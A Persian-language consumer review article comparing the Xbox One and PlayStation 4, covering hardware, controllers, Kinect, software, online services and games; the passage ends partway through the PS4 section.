مقالاتموتورهای بازیسازی

سه کنسول برتر بازی دنیا

ps4-vs-wii-u-vs-xbox-one

1) Xbox One :

دوست داشتنی، سریع، مجهول
در زمانه‌ی عجیبی به سر می‌بریم. در خبرهای تکنولوژی، از کفش‌هایی می‌خوانیم که Wi-Fi دارند. از اتوموبیل هایی که پرواز و از پرینترهایی که پیتزا چاپ می‌کنند. دست کم از این سه مورد، هیچ کدام به صورت گسترده، تولید و استفاده نشده‌اند. پس روبات‌های خدمتکاری که قرار بود در خانه و محل کار، ما را تر و خشک کنند کجا هستند؟ هنوز هم که به هتلی پنج ستاره بر روی ماه نرفته‌ایم! این بود آینده ای که 30 سال پیش متصور بودیم؟ از همه‌ی این‌ها که بگذریم، در کنسول بازی جدید مایکروسافت، یعنی Xbox One، می‌توان فن آوری هایی را مشاهده کرد که احتمالا جزو تخیلات و آرزوهای پیش گویان سه دهه‌ی پیش بوده‌اند. اینکه جلوی دستگاه بنشینید و با صدای رسا بگویید، Xbox, ON!، سپس دستگاه روشن شود خیلی شگفت انگیز است. اینکه جلوی دستگاه بایستید و کاراکتر درون بازی کوچکترین حرکت بدن شما را تقلید کند هم معجزه آساست. Xbox One نسل سوم کنسول‌های بازی مایکروسافت به حساب می‌آید که پس از Xbox 360 موفق و Xbox نخستین، در سال 2013 به بازار آمده است و می‌رود که در چند سال آینده، رقیب پایاپای PS4 باشد.

سخت افزار
همانطور که در نقد و بررسی PS4 هم اشاره کردیم، Xbox One کنسولی کاملا بزرگ است که به شکل یک مکعب مستطیل مشکی رنگ ساخته شده. البته رویمان نشد که مثل PS4 آن را یک تخته سنگ بخوانیم. این در حالیست که Xbox One برای این لقب محق‌تر است. Xbox 360 با طراحی قوسی شکل، هم جذاب‌تر و هم 10 درصدی از Xbox One کوچکتر است. Xbox One کنسولی کاملا بزرگتر از PS4 است. هرچند که Xbox One دستگاه بزرگتری است، ولی سازنده حتی زحمت این را به خود نداده که آداپتور برق را درون دستگاه جای دهد و متاسفانه مثل مدل قبلی، آداپتور برق همانند یک پاره آجر همواره بیرون از دستگاه است. این در حالیست که با وجود جثه‌ی کوچک PS4، آداپتور برق درون دستگاه جای داده شده است.

چند هفته‌ی پیش که برای نخستین بار Xbox One را دیدیم، به نظرمان آمد که چقدر شبیه به تصورات یک طراح صنعتی در سال 1973، از یک پخش کننده‌ی VCR در سال 2000 است. طراحان این کنسول سعی کرده‌اند مقداری ظاهر فشن به آن بدهند و از پلاستیک مشکی مات و براق در بدنه‌ی آن استفاده کرده‌اند. بدین ترتیب به جای درست کردن ابرو، چشمش را کور کرده‌اند و در تمام محلی که پلاستیک براق استفاده شده، Xbox One به شدت مستعد جذب اثر انگشت است. البته واقعا کنسول بازی دستگاهی نیست که همواره بخواهید به آن دست بزنید و پس از نصب، برای همیشه زیر تلویزیون شما جای می‌گیرد.

وقتی کنسول را به صورت افقی روی میز قرار می‌دهیم، نیمی از صفحه‌ی بالایی که توسط شبکه‌ی خروجی تهویه پوشانده شده، قابل مشاهده می‌شود. مشخص است که سیستم کولینگ ضعیف Xbox 360 حسابی روی ذهن طراحان Xbox One اثر گذاشته و سعی کرده‌اند که دیگر آن فاجعه تکرار نشود. البته جالب این جاست که تلاش نکرده‌اند با فن‌های پر قدرت و پر سر و صدا این نقص را جبران کنند و خوشبختانه کنسول عملکردی کاملا کم سر و صدا دارد. احتمالا علت جثه‌ی بزرگ دستگاه، کمک کردن به خنک ماندن دستگاه بوده است.

از روبرو که به دستگاه نگاه کنیم، تنها شیاری که می‌توان در آن قسمت مشاهده کرد، ورودی مکشی بلوری است. پلاستیک‌های اطراف آن هم از نوع مشکی مات است تا نگران بر جای ماندن اثر انگشت خود در آن قسمت نباشید. در عوض دکمه های لمسی در قسمت روبرو سمت راست قرار دارند و توسط پلاستیک مشکی براق احاطه شده‌اند. البته شاید ترجیح بدهید که کنسول را با فرمان صوتی، و با گفتن جمله‌ی Xbox ON! روشن کنید.

یکی از پورت‌های USB این کنسول در قسمت سمت چپ بدنه قرار گرفته است. در قسمت سمت چپ و متمایل به جلو. بدین ترتیب دست کم می‌توانید گیم پد را خیلی آسان شارژ کنید. اما به قسمت پشتی که برویم، جاییست که با انبوه پورت‌ها مواجه می‌شویم. ورودی پاور، دو پورت دیگر USB 3.0، پورت Ethernet، HDMI، یک پاور USB و خروجی صوتی اپتیکال.

متفاوت با PS4
درون Xbox One ای پی یوی 8 هسته ای Jaguar ساخت کمپانی AMD قرار گرفته است. یعنی تقریبا همان چیزی که بر روی PS4 هم یافت می‌شود. تفاوت اصلی در سرعت نهفته است. به صورتی که سرعت چیپ Xbox One در حدود 1.75 گیگاهرتز و PS4 حدود 1.6 گیگاهرتز است. بعلاوه تعداد هسته های GPU این دو نیز تفاوت می‌کند. Xbox One دارای 12 قطعه‌ی GCN Compute با 768 شیدر در مجموع است و این در حالیست که PS4 دارای 18 قطعه از اولی و 1152 شیدر است. این باعث می‌شود که PS4 از نظر قدرت پردازش گرافیکی خام کاملا برتر از Xbox One باشد و حتی سرعت ساعتی بالاتر 854 مگاهرتزی GPU ایکس باکس در برابر 800 مگاهرتز PS4 نتواند این اختلاف را جبران کند.
برای اینکه اختلاف عمیق‌تر شود، باید گفت که هرچند هر دو از 8 گیگابایت حافظه‌ی RAM بهره می‌برند، ولی رم PS4 از نوع GDDR5 با سرعت 5500 مگاهرتز در برابر 2133 مگاهرتز رم DDR3 در Xbox One است. این باعث می‌شود که پهنای باند بین CPU، GPU و RAM در PS4 کاملا بیشتر باشد. در ضمن نباید فراموش کنیم که همواره در Xbox One قسمتی از توان سخت افزاری صرف کینکت و سیستم عامل مفصل‌تر آن می‌شود. در حالی که در PS4 این چنین نیست.
البته در انجام بازی‌هایی چون Forza 5 و Ryse ممکن است اصلا این تفاوت گرافیکی به نظرتان نیاید و بازی‌ها خیلی خوب باشند، ولی مسئله‌ی اصلی در رزولوشن است. بازی‌هایی مثل Battlefield 4 و Call Of Duty: Ghosts بر روی Xbox One با رزولوشن 720p HD و بر روی PS4 با رزولوشن Full HD پخش می‌شوند. هرچند که باز هم در یک فاصله‌ی مناسب از تلویزیون و بر روی پنل های کوچکتر از 46 اینچ چندان متوجه تفاوت نخواهید شد.

گیم پد
برخلاف گیم پد PS4، گیم پد Xbox One را می‌توان یک دسته‌ی بازی کاملا استاندارد دانست. گیم پدی که نسبت به مدل قبلی‌اش بر روی Xbox 360، نه انقلابی، بلکه تنها یک بهبود بوده است. همچنان می‌توانیم همان استیک‌های شستی که در یک ردیف قرار نگرفته‌اند را ببینیم. بعلاوه‌ی D-Pad، چهار دکمه‌ی عملکردی، دو دکمه‌ی وسط و البته، دکمه‌ی Xbox Home. آن دو دکمه‌ی وسط، دیگر Start و Back نیستند و تنها Menu و View را شامل می‌شوند. این دو چه در بازی و چه در بیرون از آن، می‌توانند کاربردهای زیاد و مختلفی داشته باشند. بر روی استیک‌های شستی هم تلاش زیادی انجام گرفته تا احتمال لغزش انگشت را کاهش دهد. بدین ترتیب که علاوه بر مقعر بودن، لبه‌ها از لاستیک زبر و طرح دار ساخته شده‌اند. این واقعا خوب است و عملکرد استیک‌ها حتی از Dual Shock 4 نیز بهتر است. خود استیک‌ها حرکتی نسبتا روان‌تر نسبت به مدل قبلی دارند و دقت آن‌ها تقریبا یکسان است.

هرچند که گیم پد Xbox 360 خیلی خوب بود، ولی نقطه‌ی ضعف آن را می‌شد در D-Pad اش مشاهده کرد. البته در سال 2010 یک نسخه‌ی بهبود یافته از دسته بازی 360 ارائه شد که D-Pad بهتری داشت، ولی گیم پد One از آن هم بهتر است. اکنون دکمه های D-Pad کلیک‌های خیلی مشخصی دارند و عملکردی عالی را ارائه می‌دهند. البته بهتر است که در بازی‌های امروزی، دیگر از این دکمه‌ها برای هدایت کاراکتر استفاده نکنید و از همان استیک‌ها بهره ببرید.

Impulse Triggers نامی است که مایکروسافت بر روی دکمه های تریگر گیم پد Xbox One نهاده است. هرچند که اسمی کمی ناجور دارند، ولی این دکمه های جدید دارای لرزاننده، حقیقتا پدیده های خوبی هستند. در واقع می‌توان گفت که اگر تاچ پد ویژگی مثبت Dual Shock 4 بود، قطعا ایمپالس تریگر ویژگی مثبت گیم پد ایکس باکس وان است. توصیف میزان کارآمدی آن‌ها مقداری مشکل است، واقعا باید امتحان کنید تا احساس واقعی آن را دریابید. همچنین به لطف لاستیکی که بین تریگرها و بدنه قرار گرفته، صدای فشرده شدن کمتری را نیز تولید می‌کند. تنها ایرادی که می‌توان به آن وارد دانست، دکمه های Shoulder است که مقداری سفت‌تر از دکمه های مشابه بر روی دسته‌ی 360 می‌باشند. شارژدهی باتری با در نظر گرفتن اینکه انرژی از طریق دو عدد باتری AA تامین می‌شود فوق‌العاده است. به صورتی که در عرض یک هفته و نیمی که باتری‌های قابل شارژ را درون آن گذاشته بودیم، هیچ وقت تمام نشدند. در عین حال خوبی‌اش این است که با اتصال گیم پد از طریق کابل میکرو USB به پورت USB کنسول می‌توانید آن‌ها را شارژ کنید.

کینکت
بیشتر ما بر روی گوشی‌های تلفن همراه یا تبلت خود دوربین داریم. کنسول بازی ایکس باکس وان هم دوربین دارد. همانطور که در نخست اشاره کردیم، کینکت را می‌توان از جمله تصورات 30 سال پیش بشر دانست که اکنون محقق شده است. کینکت با دوربینی Full HD که می‌تواند حتی در تاریکی ببیند و تپش قلب شما را تشخیص دهد! حتی وقتی ایکس باکس خاموش است، کینکت همیشه می‌شنود تا هر زمان فرمان دادید، کنسول را روشن کند. کمی ترسناک شد، نه؟

کینکت همان چیزیست که اختلاف قیمت 100 دلاری بین PS4 و Xbox One را رقم زده است. کینکت 2 اکنون جزئی جدایی ناپذیر از Xbox شده است و دقیقا همان ویژگی است که خریداران را بین انتخاب PS4 و Xbox One به تامل وا می‌دارد. دوربین و میکروفون کینکت بر روی ستون سیاه رنگی که در کنار تلویزیون قرار می‌گیرد، قرار دارند. این دستگاه کاملا بزرگتر از چیزیست که بر روی Xbox 360 وجود داشت. بوسیله ی فرمان صوتی تقریبا هرکاری می‌توانید با کنسول انجام دهید و اتفاقا نسبتا سهل و سریع است. با این حال احتمالا آخرش به همان کنترل از طریق دسته روی خواهید آورد. یکی از جالب‌ترین قابلیت‌هایی که کینکت به ما ارائه می‌دهد، قابلیت تشخیص چهره است. تشخیص چهره‌ی ایکس باکس وان خیلی سریع و بی خطا کار می‌کند. بعلاوه حسی از مالکیت شخصی بر روی کنسول را به شما القاء می‌کند. میدان دید دوربین کینکت کاملا گسترده تر از مدل پیشین شده  تا برخلاف کینکت قبلی، نیازی به چرخیدن فیزیکی نداشته باشد. تشخیص حرکت و بدن کینکت هم به طرز اعجاب آوری بهتر شده است. حرکات بدن خیلی دقیق درک می‌شود و این را به خصوص در رقص می‌توان به خوبی فهمید. در ضمن کینکت 2 می‌تواند تا 6 نفر را به صورت همزمان تشخیص دهد و حرکات آن‌ها را ردیابی کند. ظاهرا که کینکت توانایی آنالیز تا 2 گیگابایت دیتا در ثانیه را دارد. البته مشکلاتی هم وجود دارد، برای مثال کمینه ی فاصله ی قرار گرفتن در مقابل دوربین کینکت که توسط مایکروسافت توصیه شده، حدود 1.4 متر است که در آپارتمان های امروزی، خیلی کم نیست.

Smart Glass
در نقد و بررسی PS4، توضیحاتی را درباره‌ی Dual Screen دادیم. همان فن آوری که شما می‌توانید تصویر PS4 را بر روی PS Vita داشته باشید و حتی بازی هم بکنید. خوب، مایکروسافت هم برای Xbox One شبیه به این را دارد. در حقیقت باید گفت که مایکروسافت اولینی بود که این امکان را بر روی کنسول خود گذاشت. بعد از آن هم نه سونی، بلکه نینتندو با دستگاه Wii U بود.

اسمارت گلس در حقیقت اپلیکیشنی برای گوشی‌های هوشمند و تبلت ها است که برای همه‌ی سیستم عامل‌های شناخته شده مثل اندروید، iOS و Windows Phone وجود دارد و جهت تماشای اینترفیس ایکس باکس بر روی دیوایس هوشمند ساخته شده. خوشبختانه دیگر مثل Xbox 360 لازم نیست به سرورهای آنلاین متصل شوید و اتصال مستقیم از طریق Wi-Fi دیوایس هوشمند به کنسول وجود دارد. این یک سری مزیت‌ها از جمله عملکرد و پاسخگویی سریع را رقم زده است. البته بازی‌های نسبتا محدودی هستند که بتوانند بدین صورت اجرا شوند. یکی از آن‌ها Battlefield 4 است و دیگری Dead Rising 3 است. در حقیقت خارج از بازی، اسمارت گلس کارآمدتر است و می‌تواند به عنوان ریموت کنترل کنسول بازی، در حوزه ای مثل Home Entertainment کاربرد داشته باشد.

نرم افزار

اگر یک نکته‌ی مشترک آزار دهنده در PS4 و Xbox One وجود داشته باشد، همان Day One Patch است. هنگامی که برای نخستین بار کنسول را روشن می‌کنید، سعی می‌کند که به اینترنت متصل شود و Patch مربوطه را دانلود کند. این Patch اصلا کم حجم نیست و خلاصه 500 مگابایتی از حجم اینترنت شما را طلب می‌کند. پس از دانلود، کنسول Restart می‌شود و کار نصب آغاز می‌گردد. بعد از نصب همه چیز در اختیار شماست. با اینترفیسی مواجه می‌شوید به غایت شبیه به واسط کاربری ویندوز 8. Dashboard آن بسیار ساده است و کاشی‌ها، محدود به میانبرهایی می‌شوند که به آن‌ها احتیاج دارید. در حالی لیست دوستان شما در سمت چپ قرار دارد که بزرگ‌ترین پنجره که در میان صفحه باز شده، اپلیکیشن اکنون فعال شما را نشان می‌دهد. این در حالیست که این پنجره‌ی بزرگ با کاشی‌های کوچکتر که اپلیکیشن های تازه استفاده شده یا فعال را نشان می‌دهد احاطه شده است. در کل به نظر ما اینترفیس جایی است که عملکرد Xbox one از PS4 بهتر می‌باشد و خیلی ساده و قابل فهم تر است.

همانطور که پیش‌تر هم اشاره کردیم، روشن کردن کنسول بازی از طریق گفتن جمله‌ی، Xbox ON! بسیار هیجان انگیز است. البته کنسول واقعا در حالت خاموش قرار ندارد و در حقیقت در خواب است. این را با تشخیص چهره برای تشخیص اینکه شما صاحب واقعی آن هستید که ترکیب کنیم، به طور کلی 15 ثانیه ای طول می‌کشد تا Xbox One از خواب بیدار و آماده‌ی به کار شود. منتها دقت کنید که جمله‌ی Xbox ON را خیلی واضح و رسا بیان کنید. در غیر این صورت مجبور می‌شوید که این جمله را چند بار بگویید و شاید اگر کسی هم آن دور و اطراف باشد کمی احساس حماقت کنید. این فرمان صوتی به جز روشن کردن دستگاه در جاهای دیگر هم کاربرد دارد. هروقت خوب کار می‌کند آن را تحسین می‌کنید و هر وقت خوب کار نمی‌کند تصمیم می‌گیرید که دیگر از آن استفاده نکنید.
توانایی‌های مالتی تسکینگ این کنسول هم خیلی خوب است. به طور همزمان می‌توان سه اپلیکیشن و یک بازی را فعال نگه داشت. البته بسته به اینکه اپلیکیشن ها و بازی چقدر از حافظه‌ی شما اشغال می‌کنند، تعداد می‌تواند کمتر شود. برای مثال برنامه‌ی Skype حجم بیشتری از حافظه را نسبت به NetFlix و Hulu Plus اشغال می‌کند. از طریق فرمان صوتی می‌توانید بین اپلیکیشن ها سوییچ کنید. وقتی که کنسول را بر روی حالت خواب یا همان Always On قرار می‌دهید تا با فرمان صوتی بیدار شود، پس از بیدار شدن می‌توانید به همان قسمتی از بازی که آن را متوقف کرده بودید بروید.  این خیلی خوب است. با این حال اگر در همان حالت خواب بودن کنسول، مثلا به آن دستور بدهید که به بازی Dead Rising 3 برود، در حالی که پیش از آن در بازی Forza Motorsport 5 توقف کرده باشید، به یکباره همه‌ی دست آوردی که در بازی قبلی کسب کرده بودید از بین می‌رود.

Xbox Live
زمانی Xbox Live نقطه‌ی قوت بزرگ کنسول مایکروسافت به حساب می‌آمد. اما سونی بیکار ننشست و امکان بازی آنلاین بسیار آسان و سریع را برای کنسول خود فراهم کرد. مایکروسافت برای اینکه همچنان بتواند در کورس رقابت باقی بماند، طبق روایاتی، از 300 هزار سرور برای پشتیبانی از بازی آنلاین این کنسول بهره جسته است. همانند PS4، تعداد دوستانی که می‌توانید داشته باشید از 100 بالاتر رفته و در حالی که در PS4 به 2000 رسیده، در Xbox One در عدد 1000 است. 1000 دوست هم همچنان خیلی زیاد است و البته مایکروسافت پدیده ای به نام Follower را هم اضافه کرده است. دقیقا مثل همان چیزی که در فیس‌بوک می‌بینیم. به طور کلی تصور کنید که یک حساب توییتر دارید پر از فعالیت‌های مربوط به بازی. تازه به کمک Skype Audio Codec می‌توانید صدای دوستانتان را هم بشنوید.

درست همانند PS4، با استفاده از سرویس Skydrive مایکروسافت می‌توانید کلیپ‌هایی از بازی در حال انجام خود را ضبط و آپلود کنید. این کار خیلی هم آسان است. کافیست که در حین بازی بگویید: Xbox, Record that! در این هنگام خود کنسول 30 ثانیه از بازی شما را ضبط و بر روی اکانت آنلاین شما آپلود می‌کند. برای کلیپ‌های طولانی‌تر تا 5 دقیقه، می‌توانید با گفتن جمله‌ی، Xbox, Go to Game DVR وارد این اپلیکیشن شوید و کار ضبط را انجام دهید. پس از آپلود بر روی اکانت، لینکی به شما داده می‌شود که می‌توانید آن را بر روی شبکه های اجتماعی یا اشتراک فیلم قرار دهید. جای تاسف باقیست که هیچ گونه آپلود مستقیم بر روی این شبکه‌ها وجود ندارد.

سه بازی
بازی Forza Motorsport 5 یکی از با کیفیت‌ترین بازی‌ها از نظر گرافیکی که برای Xbox One ساخته شده است. این بازی را می‌توان یک شبیه سازی اتوموبیل سواری نیز دانست. آن قدر رانندگی با اتوموبیل های این بازی طبیعی است که پس از مدتی بازی، می‌توانید برای گرفتن گواهینامه رانندگی اقدام کنید!

Dead Rising 3 یکی از بازی‌های نسبتا نا موفق برای این کنسول است. هرچند که گرافیک خیلی خوبی دارد، ولی بیشتر شبیه به یک محصول ناکامل به نظر می‌رسد. به صورتی که انیمیشن‌ها خیلی بی ریخت هستند و دیالوگ‌های بازی نیز چنگی به دل نمی‌زنند.

اما اگر می‌خواهید واقعا توان گرافیکی Xbox One را به چالش بکشید، می‌توانید به سراغ بازی Ryse: Son Of Rome بروید. به خصوص اینکه، بازی ایست که می‌توانید در آن از کینکت هم استفاده کنید. در بازی مناظر خیلی زیبایی از روم قدیم نشان داده می‌شود که عمق بسیاری دارند. بنابراین به همراه Forza، این بازی با کیفیت‌ترین‌ها هستند.

جمع بندی
به طور کلی باید گفت که در هنگام نقد و بررسی Xbox One احساساتی چند گانه درباره‌ی آن داشتیم. کنسول قدرتمند است و امکانات خیلی خوبی دارد. با این حال 100 دلاری از PS4 گران قیمت‌تر است که آن را هم به حساب کینکت بی نظیرش می‌گذاریم. ایکس باکس وان را علاوه بر یک کنسول بازی، می‌توان یک مدیا سنتر عالی در خانه نیز دانست. بنابراین هرچند که ممکن است از نظر قدرت پردازش خام گرافیکی بهتر از PS4 نباشد، ولی در عوض کینکت 2.0 دارد و یک همه فن حریف مالتی مدیا است.

2) Sony PlayStation 4 :

سریع، خشن، قدرتمند
هر روز یک گوشی جدید، یک تبلت جدید و یک لپ تاپ نو. خوشبختانه کنسول‌های بازی این گونه نیستند. در 18 سالی که از تولد نخستین پلی استیشن می‌گذرد، امسال تازه شاهد به بازار آمدن نسل چهارم از این خانواده بودیم. این درست برخلاف پدیده ای مثل گوشی تلفن همراه است. قطعا اگر پلی استیشن 1 را پدر بدانیم، پلی استیشن 4 نتیجه‌ی این خانواده است. نتیجه ای که با کوله باری از تجربه ساخته شده و سونی هرچه داشته، سخاوتمندانه به آن بخشیده است. هرچه داشته را به آن بخشیده، تا ادامه‌ی پلی را بسازد که شیفتگان بازی‌های دیروز را به بازی کن‌های خوشبخت امروزی متصل می‌کند.

سخت افزار، طراحی، عملکرد
هیچ وقت سنگ‌های مونولیتی که فضانوردان آپولو از ماه به زمین آورده‌اند را دیده‌اید؟ Playstation 4 به طرز غریبی شبیه به آن‌ها ساخته شده. مشکی، زمخت و تیز. هرچند که در ظاهر این طور است، ولی PS4 با قطر 53 میلی متر، کاملا باریک‌تر از نخستین نسخه‌ی PS3 و نسخه‌ی سال 2012 آن ساخته شده است. این کنسول تنها 15 میلی متر قطورتر از نسخه‌ی سوپر اسلیم PS3 است. بعلاوه با وزن 2.8 کیلوگرم، کمی بیشتر از نصف PS3 نخستین وزن دارد و البته 600 گرمی هم از آخرین نسخه‌ی PS3 سنگین‌تر است.

اگر PS4 سنگی از کره‌ی ماه باشد ، رقیب اصلی آن یعنی Xbox One، قطعا مریخی است. PS4 ظریف‌تر، کوچک‌تر، سبک‌تر و باریک‌تر ساخته شده تا در زیر تلویزیون ظاهری دلنشین تر داشته باشد. در حقیقت Xbox One حدود 10 درصد نسبت به مدل قبلی‌اش یعنی Xbox 360 بزرگتر شده است. مایکروسافت برای این بزرگ سازی دلیل خوبی داشته. سیستم کولینگ یا همان خنک کنندگی 360 اندکی ناکارآمد نشان می داد. این بزرگتر کردن جعبه در جهت کمک به سیستم کولینگ بوده است. با این حال Xbox 360 با قوس‌هایی که داشت از نظر زیبایی در سطح بالاتری قرار می‌گرفت.

از نظر ظاهری، PS4 گویی می‌خواهد یک پیغام را به مخاطب منتقل کند. “من یک اسباب بازی نیستم!” درست است که به هر صورت PS4 وسیله ای برای بازیست، ولی با گوشه های تیز و رنگ مشکی، چنان ظاهر جدی به خود گرفته، که سخت بتوان آن را وسیله ای برای بازی کودکان دانست. اساسا گویی این کنسول از چهار قطعه درست شده است. اگر آن را عمودی بر روی میز قرار دهیم، دو قطعه در بالا و دو قطعه در پایین دارد. دست کم با ظاهر خشکش می‌تواند در زیر میز تلویزیون شما، در کنار سیستم صوتی و هرچه که در آن حوالی دارید، نظر همگان را کاملا به خود جلب کند. اما از همه ی این ها که بگذریم، PS4 زشت نیست.

نکته ای که باعث می‌شود بابت آن سونی را تحسین کنیم، این است که این بار ظاهر PS4 را از لوگو و برچسب‌های خیلی زیاد و متنوع خالی کرده است. کنسول را که به صورت عمودی بر روی میز قرار دهیم، تنها لوگوهایی که می‌توان بر روی دستگاه دید، شامل لوگوی نقره ای رنگ خود پلی استیشن در قسمت کناری قطعه‌ی بالا سمت راست، لوگوی سونی در روبروی قطعه‌ی بالا سمت راست و دو PS4 در بغل و روبروی دو قطعه‌ی پایینی می‌شوند. طبق همین رویه، حتی دکمه های پاور و دیسک اجکت نیز نسبتا مخفی قرار گرفته‌اند تا احتمالا در نگاه اول اصلا متوجه آن‌ها نشوید. اگر دستگاه را به صورت افقی بر روی میز قرار دهیم، گویی کاملا به صورت دوطبقه ساخته شده است. بین طبقات شیارهایی قرار دارد که در آن جا می‌توان دو پورت USB 3.0 را مشاهده کرد. همچنین شیار بارگزاری مکشی دیسک بلوری هم همان جا در سمت چپ قرار دارد و البته در نگاه اول غیر قابل مشاهده است. دکمه های پاور و دسک اجکت نیز بین آن‌ها قرار گرفته است. این شیار بین طبقات دور تا دور بدنه ادامه پیدا کرده تا به خوبی پنهان کننده‌ی سیستم تهویه نیز باشد. عمده‌ی قسمت پشتی دستگاه به پنجره های تهویه اختصاص یافته است. به جز یک ردیف در یک قطعه که در آن جا شاهد پورت HDMI، Digital Out، Ethernet و کابل دوربین هستیم. خوشبختانه سونی آداپتور برق را داخل خود دستگاه قرار داده تا دیگر آن آداپتور خارجی آجر مانند همیشه دست و پا گیر را نداشته باشید. ورودی پاور در همان قسمت پشتی بر روی قطعه‌ی بغلی قرار دارد. از نظر اتصالات بیسیم نیز PS4 ازWiFi  و Bluetooth 2.1 پشتیبانی می‌کند.

به دلیل معماری سخت افزاری پیچیده ای که همراه PS3 شده بود، در تمام طول عمرش همواره یک کابوس برای برنامه‌نویسان ثالث بازی‌ها باقی ماند. سونی برای اینکه از تکرار آن فاجعه جلوگیری کند، از پردازنده‌ی هشت هسته ای X86 AMD Jaguar و پردازنده‌ی گرافیکی Radeon بر روی PS4 بهره برده تا بازی سازی برای آن مقدار زیادی شبیه به کامپیوتر شود و بدین ترتیب برنامه نویس های ثالث بازی، برای این کار بیشتر ترغیب شوند. با این حال سونی پا را از این فراتر گذاشته و این بار 8 گیگابایت حافظه‌ی رم GDDR5 را با کنسول همراه کرده است. این یعنی کاملا بیشتر از PS3 و البته کاملا قدرتمندتر از Xbox One. این حافظه‌ی گران قیمت باعث می‌شود که در طی سال‌های آینده، PS4 همچنان کنسولی بسیار خوب باقی بماند و عمر زیادی داشته باشد. به طور کلی، طبق ادعای سونی، PS4 تا 10 برابر از PS3 قدرتمندتر است.
PS4 و Xbox One از پردازنده‌هایی به غایت شبیه به هم بهره می‌برند. بعلاوه، از APU جهت ادغام CPU و GPU استفاده می کنند. ظاهرا که سرعت پردازشی PS4 با اختلافی 400 مگاهرتزی نسبت به Xbox 1 بیشتر است و به 2 گیگاهرتز می‌رسد. به هر صورت سوییچ به پردازنده‌ی AMD برای هر دو اتفاق مهمی محسوب می‌شود. صد البته AMD هم از خوشحالی در پوست خود نمی گنجد. گرافیک به کار رفته در Xbox One قدرتی معادل کارت گرافیکی Radeon HD7000 با 8 گیگابایت حافظه‌ی اختصاصی DDR3 و 32 مگابایت eSRAM دارد. این در حالیست که گرافیک PS4 چیزی معادل همین Radeon HD7000 با 8 گیگابایت حافظه‌ی اختصاصی GDDR5 است. عملکرد آن‌ها اصلا مثل هم نیست و PS4 دست کم 50 درصد قدرتمندتر است.

در حین عملکرد، PS4 کنسول نسبتا کم سر و صدایی است و تا حدودی گرم می‌شود. البته نه آن قدر گرم و داغ که نگران شوید. تنها مورد منفی که می‌توان در این کنسول بازی مشاهده کرد این است که وقتی برای نخستین بار دیسک یک بازی را درون شیار مربوط قرار می‌دهید، به یکباره صدای خیلی زیادی تولید می‌شود. تقریبا همان مقدار صدایی که از PS3 Super Slim می‌شنیدیم. اما خوشبختانه این صداها مربوط به اول کار است و کم کم کاهش می‌یابد.

گیم پد Dual Shock 4
بدون تردید باید گفت که Dual Shock 4 بهترین دسته‌ی بازی است که سونی تا به حال تولید کرده. این دسته‌ی بازی، اصطلاحا Perfect و بدون نقص نیست، ولی در عوض خیلی نزدیک به بی نقص است. در بیشتر موارد، Dual Shock 4 را می‌توان نسخه‌ی بهبود یافته‌ی Dual Shock 3 دانست. دو استیک استاندارد شستی، یک D pad یا همان پد دکمه های جهت دار بر روی قسمت سمت چپ، پد دکمه های عملکردی در سمت راست و چهار دکمه در قسمت بالا همچنان فرم اصلی را تشکیل می‌دهند. بعلاوه سنسور تشخیص تراز و موتور لرزاننده‌ی Dual Shock 3 با مقداری بهبود حفظ شده‌اند.
استیک‌های شستی اکنون مقداری مقعر با لبه‌هایی برآمده ساخته شده‌اند که باعث می‌شود خیالتان از بابت لیز نخوردن انگشت راحت باشد. این در حالیست که بزرگ‌ترین نقطه‌ی ضعف Dual Shock 3 همان استیک‌های محدب آن بودند. بنابراین نتیجه می‌گیریم که سونی به بازخورد مشتریان توجه کرده است. به طور کلی، ساخت Dual Shock 4 کاملا ارگونومیک تر و مدرن‌تر از Dual Shock 3 است.

فراتر از استانداردها، سونی یک سری ویژگی‌های اضافی را نیز با این دسته‌ی بازی همراه کرده است. یک اسپیکر، یک تاچ پد بزرگ قابل کلیک، یک ستون نور، دو دکمه‌ی Share و Option به جای دکمه های سنتی Start و Select از آن جمله هستند. هرچند که این آپشن ها خیلی خوب بوده‌اند، ولی چیز خیلی زیادی به تجربه‌ی گیمینگ شما اضافه نمی‌کنند. برای مثال اسپیکر موجود بر روی آن صدای زیادی تولید نمی‌کند و در کل دست کم در بازی‌هایی که در نخست برای PS4 وجود دارند، خیلی کارآمد نیست. چراغ جلویی هم خیلی شگفت انگیز نیست و تنها با بازی‌هایی کاربرد دارد که به همراه دوربین PS4 کار می‌کنند. در غیر آن صورت بلا استفاده است. این دسته در حقیقت قسمتی از سیستم Move را تشکیل می‌دهد. سونی سعی کرده که با اضافه کردن یک ستون مجهز به دو دوربین که کنار تلویزیون قرار می‌گیرد مقداری سیستمش را شبیه به Kinect مایکروسافت کند. این دو دوربین هرکدام رزولوشن 1280×800 پیکسلی دارند. البته این را در جعبه‌ی PS4 نگذاشته تا مجبور باشید آن را به صورت جداگانه خریداری کنید. احتمالا نخواسته قیمت PS4 از Xbox One بیشتر شود.

در سوی مقابل، مایکروسافت کاملا بر روی دستگاه کنترل حرکتی خود یعنی Kinect کار کرده است. اکنون این دستگاه دیگر جزئی جدا نشدنی و ضروری Xbox One شده است. Kinect جدید که Kinect 2.0 نیز نامیده می‌شود، کاملا پیشرفت کرده و از دوربین‌های Full HD به جای VGA بهره می‌برد. همچنین از سنسور فروسرخ برای بدست آوردن درکی بهتر از عمق میدان و فاصله‌ی سوژه تا دوربین استفاده می‌کند. این Kinect میدان دید خیلی بیشتری را نسبت به مدل پیشین در بر می‌گیرد و آن قدر دقیق است که می‌تواند باز شدن دو انگشت از یکدیگر را نیز تشخیص دهد. در ضمن این بار می‌تواند حرکت تا 6 نفر را تشخیص دهد. ظاهرا که این دستگاه می‌تواند تا 2 گیگابایت دیتا در ثانیه را آنالیز کند.
تاچ پد Dual Shock 4 را می‌توان بهترین و مفیدترین افزونه‌ی جدید این دسته‌ی بازی دانست. این تاچ پد می‌تواند در موقعیت‌های مختلف کاملا کاربردی باشد. دکمه‌ی Share هم چیزیست که امروزه برای اتصال به شبکه های اجتماعی کاملا ضروری می‌نماید. دکمه‌ی Share این دسته در قسمت بالا و بین D Pad و تاچ پد قرار گرفته است. به هر صورت در دنیایی که امروز در آن زندگی می‌کنیم، به اشتراک گذاشتن موفقیت‌هایی که در یک بازی کسب کرده‌ایم، می‌تواند ضروری باشد.
